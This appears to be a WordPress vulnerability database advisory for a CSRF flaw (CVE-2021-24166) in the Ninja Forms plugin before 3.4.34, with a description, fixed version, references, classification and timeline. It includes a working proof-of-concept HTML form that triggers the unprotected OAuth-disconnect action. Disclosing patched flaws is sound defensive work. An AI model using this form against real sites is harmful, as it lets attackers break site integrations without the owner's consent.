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WordPress Plugin Vulnerabilities

Ninja Forms < 3.4.34 - CSRF to OAuth Service Disconnection

Description

The wp_ajax_nf_oauth_disconnect from the plugin had no nonce protection making it possible for attackers to craft a request to disconnect a site's OAuth connection.

Proof of Concept

<html>
  <body>
    <form action="https://[URL_HERE]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="nf&#95;oauth&#95;disconnect" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

ninja-forms
Fixed in version 3.4.34

References

CVE
CVE-2021-24166
URL
https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

Yes

WPVDB ID
b531fb65-a8ff-4150-a9a1-2a62a3c00bd6

Timeline

Publicly Published

2021-02-16 (about 1 years ago)

Added

2021-02-17 (about 1 years ago)

Last Updated

2021-03-19 (about 1 years ago)

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